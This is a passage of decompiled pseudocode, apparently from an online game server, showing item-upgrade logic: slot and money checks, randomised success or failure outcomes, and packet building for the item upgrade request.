nItemUpgradeLevela[0] = v29; if ( ItemClass != 4 || ((v31 = ITableBase::GetByIndex(v26)) == 0 ? AssertClass::ac_AssertFail( &shineassert, "Item_Upgrade Not Found AccUpgrade Index :", v26) : (v32 = v31->CriFail, v33 = v31->DownFail, v30 = v31->NormalFail, v34 = v31->nCon, CriFail = v32, nItemUpgradeLevela[0] = v33, LOWORD(nGrade) = v34), (v35 = ItemDataBox::operator__(&itemdatabox, v10)) != 0 && ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v35->dataserv->RandomOptionDropGroup)) ) { v36 = pItemIDRawInfo->UpSucRatio; if ( RawMiddleSlotNo != -1 ) v36 += pItemRawMiddleInfo->UpSucRatio; v37 = nItemUpgradeLevela[0] + CriFail + v30; if ( RandomBox::rb_1000(&rndbox) > (signed int)(nItemUpgradeLevela[0] + CriFail + v30 - (nItemUpLimita * (unsigned __int16)nGrade - pItemIDInfo->DemandLv + v36 + 120)) ) { v43 = pItemIDRawInfo->UpLuckRatio; v42 = 0; if ( RawLeftSlotNo != -1 ) v43 += pItemRawLeftInfo->UpLuckRatio; if ( RawRightSlotNo != -1 ) v43 += pItemRawRightInfo->UpLuckRatio; if ( RawMiddleSlotNo != -1 ) v43 += pItemRawMiddleInfo->UpLuckRatio; if ( v43 > 0 ) { if ( RandomBox::rb_1000(&rndbox) < v43 ) { v42 = 1; if ( v56 + 2 > (unsigned __int8)pInventorya ) v42 = 0; } } } else { v38 = RandomBox::rb_1000(&rndbox); if ( v37 <= 0 ) { LOWORD(v40) = nItemUpgradeLevela[0]; LOWORD(v39) = CriFail; } else { v39 = 1000 * CriFail / v37; v40 = 1000 * nItemUpgradeLevela[0] / v37; } v41 = v39 + v40; if ( v38 >= (unsigned __int16)v39 ) { if ( v38 >= v41 || (v42 = 3, RawRightSlotNo != -1) && RandomBox::rb_1000(&rndbox) < (signed int)pItemRawRightInfo->UpSucRatio ) v42 = 2; } else { v42 = 4; if ( RawLeftSlotNo != -1 ) { if ( RandomBox::rb_1000(&rndbox) < (signed int)pItemRawLeftInfo->UpSucRatio ) v42 = 2; } } } v57 = -1; FunctionEntarance::_FunctionEntarance(&_); result = v42 + 3; } else { v57 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { v44 = "Item_Upgrade Table mode"; LABEL_60: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v44); result = 0; } return result; } //----- (00516870) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // edx@1 int v6; // eax@9 int v7; // edi@13 signed int v8; // eax@13 int v9; // edx@13 int v10; // STD4_4@13 int (__thiscall **v11)(_DWORD, _DWORD); // edx@20 int v12; // eax@20 int v13; // edx@20 ItemDataBox::ItemDataBoxIndex *v14; // eax@20 int v15; // edx@20 unsigned __int8 v16; // al@26 int v17; // eax@31 int v18; // edx@31 ItemDataBox::ItemDataBoxIndex *v19; // eax@31 ItemInfo *v20; // eax@32 unsigned __int8 v21; // al@36 int v22; // eax@42 int v23; // edx@42 ItemDataBox::ItemDataBoxIndex *v24; // eax@42 ItemInfo *v25; // eax@43 unsigned __int8 v26; // al@47 int v27; // eax@53 int v28; // edx@53 ItemDataBox::ItemDataBoxIndex *v29; // eax@53 ItemInfo *v30; // eax@54 int v31; // eax@58 int v32; // eax@58 __int64 v33; // qax@58 int v34; // eax@59 void *v35; // edx@63 int (__thiscall **v36)(_DWORD, _DWORD); // eax@63 int v37; // STD4_4@63 int v38; // eax@63 bool v39; // al@67 __int16 v40; // di@67 char v41; // cl@67 int v42; // edx@67 unsigned __int16 v43; // cx@67 bool v44; // al@68 int v45; // ecx@68 char v46; // al@68 int v47; // edx@68 char v48; // al@69 char v49; // dl@69 int v50; // eax@69 int v51; // ecx@69 unsigned __int16 v52; // dx@69 char v53; // al@69 bool v54; // al@70 int v55; // ecx@70 char v56; // al@70 int v57; // edx@70 int v58; // ecx@71 char v59; // al@71 int v60; // edx@71 unsigned __int16 v61; // ax@71 char *v62; // esi@73 int v63; // eax@73 char v64; // cl@73 char v65; // dl@73 char v66; // al@73 bool v67; // zf@73 int v68; // eax@73 int v69; // edi@73 int v70; // eax@73 int v71; // edx@73 int v72; // ecx@73 unsigned __int8 v73; // al@73 int v74; // eax@74 int v75; // edx@74 int v76; // ecx@75 unsigned __int8 v77; // al@75 int v78; // eax@76 int v79; // edx@76 unsigned __int8 v80; // al@77 int v81; // eax@78 int v82; // edx@78 const void *v83; // edx@79 char v84; // al@79 void *v85; // eax@80 void *v86; // edx@82 void *v87; // edx@84 char v88; // al@85 ZoneBaseSession *v89; // eax@86 int v90; // edi@87 __int16 v91; // cx@87 __int16 v92; // dx@87 __int16 v93; // ax@87 __int16 v94; // cx@87 int v95; // edx@87 int v96; // esi@88 int v97; // eax@88 int v98; // esi@89 int v99; // eax@89 unsigned __int8 v100; // al@90 int v101; // esi@92 int v102; // eax@92 int v103; // eax@93 int v104; // edx@93 int v105; // esi@93 int v106; // eax@93 unsigned __int8 v107; // al@94 int v108; // esi@96 int v109; // eax@96 int v110; // eax@97 int v111; // edx@97 int v112; // esi@97 int v113; // eax@97 unsigned __int8 v114; // al@98 int v115; // esi@100 int v116; // eax@100 int v117; // eax@101 int v118; // edx@101 int v119; // esi@101 int v120; // eax@101 int v121; // edx@102 int v122; // esi@103 int v123; // eax@103 int v124; // esi@104 int v125; // eax@104 int v126; // esi@105 int v127; // eax@105 int v128; // eax@105 signed int v129; // [sp+D4h] [bp-17Ch]@2 char v130; // [sp+EBh] [bp-165h]@64 FunctionEntarance _; // [sp+ECh] [bp-164h]@1 const void *pRawCell; // [sp+F0h] [bp-160h]@13 char nItemFailCount; // [sp+F5h] [bp-15Bh]@67 char nItemAdjLevel; // [sp+F6h] [bp-15Ah]@67 bool v135; // [sp+F7h] [bp-159h]@63 void *pRawMiddleCell; // [sp+F8h] [bp-158h]@20 int v137; // [sp+FCh] [bp-154h]@58 ITEM_INVEN RawLeftItemInven; // [sp+104h] [bp-14Ch]@87 ITEM_INVEN EquipItemInven; // [sp+108h] [bp-148h]@87 ITEM_INVEN RawRightItemInven; // [sp+10Ch] [bp-144h]@87 ITEM_INVEN RawItemInven; // [sp+110h] [bp-140h]@87 ITEM_INVEN RawMiddleItemInven; // [sp+114h] [bp-13Ch]@87 int v143; // [sp+118h] [bp-138h]@1 int pRawRightCell; // [sp+11Ch] [bp-134h]@73 int pRawLeftCell; // [sp+120h] [bp-130h]@73 unsigned int nRawLeft_Lot; // [sp+124h] [bp-12Ch]@20 unsigned int nRawMiddle_Lot; // [sp+128h] [bp-128h]@20 unsigned int nRawRight_Lot; // [sp+12Ch] [bp-124h]@20 unsigned int nRaw_Lot; // [sp+130h] [bp-120h]@20 int pInvCell; // [sp+134h] [bp-11Ch]@63 __int64 giftmoney; // [sp+138h] [bp-118h]@58 InventoryLocking::ReservedQuantity reserv; // [sp+140h] [bp-110h]@58 int UpgItem; // [sp+158h] [bp-F8h]@64 int v154; // [sp+15Ch] [bp-F4h]@67 SHINE_ITEM_STRUCT pItemStruct; // [sp+160h] [bp-F0h]@64 char iti; // [sp+1C8h] [bp-88h]@93 char v157; // [sp+1D2h] [bp-7Eh]@93 __int16 v158; // [sp+234h] [bp-1Ch]@93 char v159; // [sp+236h] [bp-1Ah]@93 unsigned int v160; // [sp+23Ch] [bp-14h]@1 int v161; // [sp+24Ch] [bp-4h]@1 int v162; // [sp+250h] [bp+0h]@1 v4 = this; v160 = (unsigned int)&v162 ^ __security_cookie; v143 = netcmd; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *(_DWORD *)v4; v161 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *, signed int))(v5 + 1700))(v4, 6) ) { v129 = 2263; LABEL_109: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, v129); goto LABEL_110; } if ( !(_S5_54 & 1) ) { _S5_54 |= 1u; cmc_84.cmc_AllowMode = 70; atexit(_E6_66); } if ( (1 << **((_BYTE **)v4 + 892)) & cmc_84.cmc_AllowMode ) { if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2264); goto LABEL_110; } v6 = *(_DWORD *)((char *)v4 + 98); if ( !v6 || !*(_BYTE *)(*(_DWORD *)(v6 + 12) + 151) ) { v129 = 2254; goto LABEL_109; } if ( !CurrentMenu::cm_MenuAction((CurrentMenu *)v4 + 5718, (#734 *)v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2265); v161 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v7 = (int)((char *)v4 + 35680); v8 = (*(int (__thiscall **)(char *, char *))(*((_DWORD *)v4 + 8920) + 4))((char *)v4 + 35680, (char *)v4 + 142688); v9 = *(_BYTE *)(netcmd + 2) < v8; v10 = *(_BYTE *)(netcmd + 2); pRawCell = (const void *)v8; if ( AssertClass::operator__( &shineassert, v9, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong equip slot", v10) ) { $L168203: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2248); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD))(*((_DWORD *)v4 + 14470) + 16))( (char *)v4 + 57880, 9, *(_BYTE *)(netcmd + 2)) ) { LABEL_15: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2248); LABEL_106: v161 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } if ( AssertClass::operator__( &shineassert, *(_BYTE *)(netcmd + 3) < (signed int)pRawCell, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong raw slot", *(_BYTE *)(netcmd + 3)) ) { LABEL_17: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2249); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(char *, signed int, _DWORD))(*((_DWORD *)v4 + 14470) + 16))( (char *)v4 + 57880, 9, *(_BYTE *)(netcmd + 3)) ) goto $L178287; v11 = *(int (__thiscall ***)(_DWORD, _DWORD))v7; nRawLeft_Lot = 0; nRawRight_Lot = 0; nRawMiddle_Lot = 0; v12 = (*(int (__thiscall **)(char *, _DWORD))v11)((char *)v4 + 35680, *(_BYTE *)(netcmd + 3)); v13 = **(_DWORD **)(v12 + 112); pRawMiddleCell = (void *)(v12 + 8); nRaw_Lot = (*(int (__stdcall **)(int))(v13 + 24))(v12 + 8); v14 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)pRawMiddleCell); v15 = *(_DWORD *)v4; if ( !v14 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v15 + 776))(v4, 12, 24, 2249); goto LABEL_106; } pRawMiddleCell = v14->data; if ( *(_DWORD *)((char *)pRawMiddleCell + 123) > (unsigned int)(unsigned __int8)(*(int (__thiscall **)(void *))(v15 + 1236))(v4) ) goto LABEL_17; if ( !pRawMiddleCell ) { $L178287: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2249); goto LABEL_106; } if ( (signed int)nRaw_Lot < 1 || nRaw_Lot > *(_DWORD *)((char *)pRawMiddleCell + 106) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2255); goto LABEL_106; } *(_WORD *)((char *)v4 + 139481) = -1; *(_WORD *)((char *)v4 + 139483) = -1; *(_WORD *)((char *)v4 + 139485) = -1; v16 = *(_BYTE *)(netcmd + 4); if ( v16 != -1 ) { if ( AssertClass::operator__( &shineassert, v16 < (signed int)pRawCell, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong raw_left slot", v16) ) { LABEL_28: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2258); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 14470) + 16))( (char *)v4 + 57880, 9, *(_BYTE *)(netcmd + 4)) ) goto LABEL_113; v17 = (**(int (__thiscall ***)(char *, _DWORD))v7)((char *)v4 + 35680, *(_BYTE *)(netcmd + 4)); v18 = **(_DWORD **)(v17 + 112); pRawMiddleCell = (void *)(v17 + 8); nRawLeft_Lot = (*(int (__stdcall **)(int))(v18 + 24))(v17 + 8); v19 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)pRawMiddleCell); if ( !v19 ) goto LABEL_28; v20 = v19->data; if ( !v20 ) { LABEL_113: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2258); goto LABEL_106; } if ( (signed int)nRawLeft_Lot < 1 || nRawLeft_Lot > v20->MaxLot ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2256); goto LABEL_106; } *(_WORD *)((char *)v4 + 139481) = *(_WORD *)pRawMiddleCell; } v21 = *(_BYTE *)(netcmd + 5); if ( v21 != -1 ) { if ( AssertClass::operator__( &shineassert, v21 < (signed int)pRawCell, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : wrong raw_right slot", v21) ) { LABEL_38: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2259); goto LABEL_106; } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD))(*((_DWORD *)v4 + 14470) + 16))( (char *)v4 + 57880, 9, *(_BYTE *)(netcmd + 5)) ) goto LABEL_114; v22 = (**(int (__thiscall ***)(char *, _DWORD))v7)((char *)v4 + 35680, *(_BYTE *)(netcmd + 5)); v23 = **(_DWORD **)(v22 + 112); pRawMiddleCell = (void *)(v22 + 8); nRawRight_Lot = (*(int (__stdcall **)(int))(v23 + 24))(v22 + 8); v24 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)pRawMiddleCell); if ( !v24 ) goto LABEL_38; v25 = v24->data; if ( !v25 ) { LABEL_114: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2259); goto LABEL_106; } if ( (signed int)nRawRight_Lot < 1 || nRawRight_Lot > v25->MaxLot ) goto LABEL_50; *(_WORD *)((char *)v4 + 139483) = *(_WORD *)pRawMiddleCell; } v26 = *(_BYTE *)(netcmd + 10); if ( v26 == -1 ) { LABEL_58: v31 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, InventoryLocking::ReservedQuantity *))(*(_DWORD *)v31 + 92))(v31, &reserv); v32 = *(_DWORD *)v4; LODWORD(giftmoney) = *(_DWORD *)(netcmd + 6); LODWORD(v33) = (*(int (__thiscall **)(void *))(v32 + 1072))(v4); v137 = HIDWORD(v33); v34 = (unsigned int)giftmoney <= (unsigned __int64)(reserv.cen + v33); if ( AssertClass::operator__( &shineassert, v34, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : not enough money", *(_DWORD *)(netcmd + 6)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2251); goto LABEL_106; } v35 = (void *)(unsigned __int8)Item_Upgrade( (#734 *)v4, (ItemBag *)v4 + 8920, *(_BYTE *)(netcmd + 2), *(_BYTE *)(netcmd + 3), *(_BYTE *)(netcmd + 4), *(_BYTE *)(netcmd + 5), *(_BYTE *)(netcmd + 10)); v36 = *(int (__thiscall ***)(_DWORD, _DWORD))v7; v37 = *(_BYTE *)(netcmd + 2); pRawMiddleCell = v35; LOBYTE(pRawCell) = 0; *(_WORD *)((char *)&pRawCell + 1) = 0; v135 = 0; v38 = (*(int (__thiscall **)(char *, int))v36)((char *)v4 + 35680, v37); pInvCell = v38; if ( v38 ) { memcpy(&UpgItem, (const void *)v38, 0x6Cu); *(_WORD *)((char *)&pItemStruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v38 + 108); BYTE3(pItemStruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v38 + 110); v130 = 0; switch ( pRawMiddleCell ) { default: goto $L178287; case 0u: goto $L168203; case 1u: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 24, 2250); goto LABEL_106; case 3u: nItemAdjLevel = 1; v130 = Item_AdjUpgradeLevel(&pItemStruct, 1); nItemFailCount = Item_AdjFailCount(&pItemStruct, 0, 1); v39 = item_RandomOptionUpgrade( &pItemStruct, (ItemOptionStorage::Element *)&pRawCell, 1, (unsigned __int8)v130); v40 = (signed __int16)pRawCell; v41 = BYTE2(pRawCell); v42 = UpgItem; v135 = v39; *(_WORD *)((char *)v4 + 139487) = (_WORD)pRawCell; *((_BYTE *)v4 + 139489) = v41; v43 = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 139473) = v154; *(_DWORD *)((char *)v4 + 139469) = v42; *(_WORD *)((char *)v4 + 139477) = v43; *((_BYTE *)v4 + 139479) = v130 - 1; *((_BYTE *)v4 + 139480) = v130; break; case 4u: nItemAdjLevel = 2; v130 = Item_AdjUpgradeLevel(&pItemStruct, 2); nItemFailCount = Item_AdjFailCount(&pItemStruct, 0, 1); v44 = item_RandomOptionUpgrade( &pItemStruct, (ItemOptionStorage::Element *)&pRawCell, 2, (unsigned __int8)v130); v40 = (signed __int16)pRawCell; v45 = UpgItem; v135 = v44; v46 = BYTE2(pRawCell); *(_WORD *)((char *)v4 + 139487) = (_WORD)pRawCell; *((_BYTE *)v4 + 139489) = v46; v47 = v154; *(_WORD *)((char *)v4 + 139477) = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 139469) = v45; *(_DWORD *)((char *)v4 + 139473) = v47; *((_BYTE *)v4 + 139479) = v130 - 2; *((_BYTE *)v4 + 139480) = v130; break; case 5u: nItemAdjLevel = 0; v130 = Item_AdjUpgradeLevel(&pItemStruct, 0); v48 = Item_AdjFailCount(&pItemStruct, 1, 0); v40 = (signed __int16)pRawCell; v49 = BYTE2(pRawCell); nItemFailCount = v48; v50 = UpgItem; *(_WORD *)((char *)v4 + 139487) = (_WORD)pRawCell; *((_BYTE *)v4 + 139489) = v49; v51 = v154; v52 = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 139469) = v50; v53 = v130; *(_DWORD *)((char *)v4 + 139473) = v51; *(_WORD *)((char *)v4 + 139477) = v52; *((_BYTE *)v4 + 139480) = v130; goto LABEL_72; case 6u: v130 = Item_AdjUpgradeLevel(&pItemStruct, -1); nItemFailCount = Item_AdjFailCount(&pItemStruct, 1, 0); nItemAdjLevel = -1; v54 = item_RandomOptionUpgrade( &pItemStruct, (ItemOptionStorage::Element *)&pRawCell, -1, (unsigned __int8)v130); v40 = (signed __int16)pRawCell; v55 = UpgItem; v135 = v54; v56 = BYTE2(pRawCell); *(_WORD *)((char *)v4 + 139487) = (_WORD)pRawCell; *((_BYTE *)v4 + 139489) = v56; v57 = v154; *(_WORD *)((char *)v4 + 139477) = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 139469) = v55; *(_DWORD *)((char *)v4 + 139473) = v57; *((_BYTE *)v4 + 139479) = v130 + 1; *((_BYTE *)v4 + 139480) = v130; break; case 7u: v58 = UpgItem; v40 = (signed __int16)pRawCell; v59 = BYTE2(pRawCell); *(_WORD *)((char *)v4 + 139487) = (_WORD)pRawCell; *((_BYTE *)v4 + 139489) = v59; v60 = v154; v61 = pItemStruct.itemid; *(_DWORD *)((char *)v4 + 139469) = v58; nItemFailCount = 0; nItemAdjLevel = 100; *(_DWORD *)((char *)v4 + 139473) = v60; *(_WORD *)((char *)v4 + 139477) = v61; v53 = Item_AdjUpgradeLevel(&pItemStruct, 0); *((_BYTE *)v4 + 139480) = -1; LABEL_72: *((_BYTE *)v4 + 139479) = v53; break; } (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v4 + 1704))(v4, 6); v62 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = handle; v63 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v64 = BYTE2(pRawCell); v65 = v135; *((_DWORD *)v62 + 1) = v63; *(_WORD *)(v62 + 77) = v40; v62[79] = v64; v62[76] = v65; *((_WORD *)v62 + 4) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4) + 4); *(_DWORD *)(v62 + 10) = UpgItem; *(_DWORD *)(v62 + 14) = v154; *((_WORD *)v62 + 9) = pItemStruct.itemid; v66 = nItemAdjLevel; v62[20] = nItemAdjLevel; v67 = v66 == 100; v62[23] = nItemFailCount; v68 = v143; v62[21] = v67; v62[22] = v130; v69 = (int)((char *)v4 + 35680); v70 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, *(_BYTE *)(v68 + 3)); v71 = *(_DWORD *)v70; v72 = v143; pRawCell = (const void *)v70; *((_DWORD *)v62 + 6) = v71; *((_DWORD *)v62 + 7) = *(_DWORD *)(v70 + 4); pRawLeftCell = 0; pRawRightCell = 0; pRawMiddleCell = 0; *((_DWORD *)v62 + 8) = 0; *((_DWORD *)v62 + 9) = 0; *((_DWORD *)v62 + 10) = 0; *((_DWORD *)v62 + 11) = 0; *((_DWORD *)v62 + 12) = 0; *((_DWORD *)v62 + 13) = 0; v73 = *(_BYTE *)(v72 + 4); if ( v73 != -1 ) { v74 = (**(int (__thiscall ***)(char *, _DWORD))v69)((char *)v4 + 35680, v73); *((_DWORD *)v62 + 8) = *(_DWORD *)v74; v75 = *(_DWORD *)(v74 + 4); pRawLeftCell = v74; *((_DWORD *)v62 + 9) = v75; } v76 = v143; v77 = *(_BYTE *)(v143 + 5); if ( v77 != -1 ) { v78 = (**(int (__thiscall ***)(char *, _DWORD))v69)((char *)v4 + 35680, v77); *((_DWORD *)v62 + 10) = *(_DWORD *)v78; v79 = *(_DWORD *)(v78 + 4); v76 = v143; pRawRightCell = v78; *((_DWORD *)v62 + 11) = v79; } v80 = *(_BYTE *)(v76 + 10); if ( v80 != -1 ) { v81 = (**(int (__thiscall ***)(_DWORD, _DWORD))v69)((char *)v4 + 35680, v80); *((_DWORD *)v62 + 12) = *(_DWORD *)v81; v82 = *(_DWORD *)(v81 + 4); v76 = v143; pRawMiddleCell = (void *)v81; *((_DWORD *)v62 + 13) = v82; } v83 = pRawCell; *((_WORD *)v62 + 32) = -1; *((_WORD *)v62 + 33) = -1; *((_WORD *)v62 + 34) = -1; *(_WORD *)(v62 + 73) = -1; v84 = nRaw_Lot; v62[71] = 0; v62[72] = 0; v62[75] = 0; v62[70] = v84; *((_WORD *)v62 + 32) = *((_WORD *)v83 + 4); if ( *(_BYTE *)(v76 + 4) != -1 ) { v85 = (void *)pRawLeftCell; v62[71] = nRawLeft_Lot; *((_WORD *)v62 + 33) = *((_WORD *)v85 + 4); } if ( *(_BYTE *)(v76 + 5) != -1 ) { v86 = (void *)pRawRightCell; v62[72] = nRawRight_Lot; *((_WORD *)v62 + 34) = *((_WORD *)v86 + 4); } if ( *(_BYTE *)(v76 + 10) != -1 ) { v87 = pRawMiddleCell; v62[75] = nRawMiddle_Lot; *(_WORD *)(v62 + 73) = *((_WORD *)v87 + 4); } *((_DWORD *)v62 + 14) = giftmoney; *((_DWORD *)v62 + 15) = 0; *(_WORD *)v62 = 13383; v88 = ProtocolPacket::pp_SetPacketLen(&gpp, 80); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v88, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ : Packet Too Long", 80) ) { v89 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v89); } v90 = v143; v91 = *(_BYTE *)(v143 + 3); v92 = *(_BYTE *)(v143 + 4); EquipItemInven.Inven = *(unsigned __int8 *)(v143 + 2) | 0x2400; v93 = *(_BYTE *)(v143 + 5); RawItemInven.Inven = v91 & 0x3FF | 0x2400; v94 = *(_BYTE *)(v143 + 10); RawLeftItemInven.Inven = v92 & 0x3FF | 0x2400; v95 = *(_DWORD *)v4; RawMiddleItemInven.Inven = v94 & 0x3FF | 0x2400; RawRightItemInven.Inven = v93 & 0x3FF | 0x2400; if ( v62[21] ) { v96 = (*(int (__thiscall **)(void *))(v95 + 2004))(v4); v97 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v96 + 48))( v96, *(_WORD *)(v97 + 4), pInvCell, &EquipItemInven, &EquipItemInven); } else { v98 = (*(int (__thiscall **)(void *))(v95 + 2004))(v4); v99 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); LOWORD(v99) = *(_WORD *)(v99 + 4); (*(void (__thiscall **)(int, int, int, int *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v98 + 56))( v98, v99, pInvCell, &UpgItem, &EquipItemInven, &EquipItemInven); } v100 = *(_BYTE *)(v90 + 4); if ( v100 != -1 ) { if ( nRawLeft_Lot == 1 ) { v101 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v102 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v101 + 48))( v101, *(_WORD *)(v102 + 4), pRawLeftCell, &RawLeftItemInven, &RawLeftItemInven); } else { v103 = (*(int (__thiscall **)(char *, _DWORD))*((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))( (char *)v4 + 35680, v100); v104 = *(_DWORD *)v4; memcpy(&iti, (const void *)v103, 0x6Cu); v158 = *(_WORD *)(v103 + 108); pRawLeftCell = v103; v159 = *(_BYTE *)(v103 + 110); --v157; v105 = (*(int (__thiscall **)(void *))(v104 + 2004))(v4); v106 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); LOWORD(v106) = *(_WORD *)(v106 + 4); (*(void (__thiscall **)(int, int, int, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v105 + 56))( v105, v106, pRawLeftCell, &iti, &RawLeftItemInven, &RawLeftItemInven); v90 = v143; } } v107 = *(_BYTE *)(v90 + 5); if ( v107 != -1 ) { if ( nRawRight_Lot == 1 ) { v108 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v109 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v108 + 48))( v108, *(_WORD *)(v109 + 4), pRawRightCell, &RawRightItemInven, &RawRightItemInven); } else { v110 = (**((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))((char *)v4 + 35680, v107); v111 = *(_DWORD *)v4; memcpy(&iti, (const void *)v110, 0x6Cu); v158 = *(_WORD *)(v110 + 108); pRawRightCell = v110; v159 = *(_BYTE *)(v110 + 110); --v157; v112 = (*(int (__thiscall **)(void *))(v111 + 2004))(v4); v113 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); LOWORD(v113) = *(_WORD *)(v113 + 4); (*(void (__thiscall **)(int, int, int, char *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v112 + 56))( v112, v113, pRawRightCell, &iti, &RawRightItemInven, &RawRightItemInven); v90 = v143; } } v114 = *(_BYTE *)(v90 + 10); if ( v114 != -1 ) { if ( nRawMiddle_Lot == 1 ) { v115 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v116 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); (*(void (__thiscall **)(int, _DWORD, void *, ITEM_INVEN *, ITEM_INVEN *))(*(_DWORD *)v115 + 48))( v115, *(_WORD *)(v116 + 4), pRawMiddleCell, &RawMiddleItemInven, &RawMiddleItemInven); } else { v117 = (**((int (__thiscall ***)(_DWORD, _DWORD))v4 + 8920))((char *)v4 + 35680, v114); v118 = *(_DWORD *)v4; memcpy(&iti, (const void *)v117, 0x6Cu); v158 = *(_WORD *)(v117 + 108); pRawMiddleCell = (void *)v117; v159 = *(_BYTE *)(v117 + 110); --v157; v119 = (*(int (__thiscall **)(void *))(v118 + 2004))(v4); v120 = 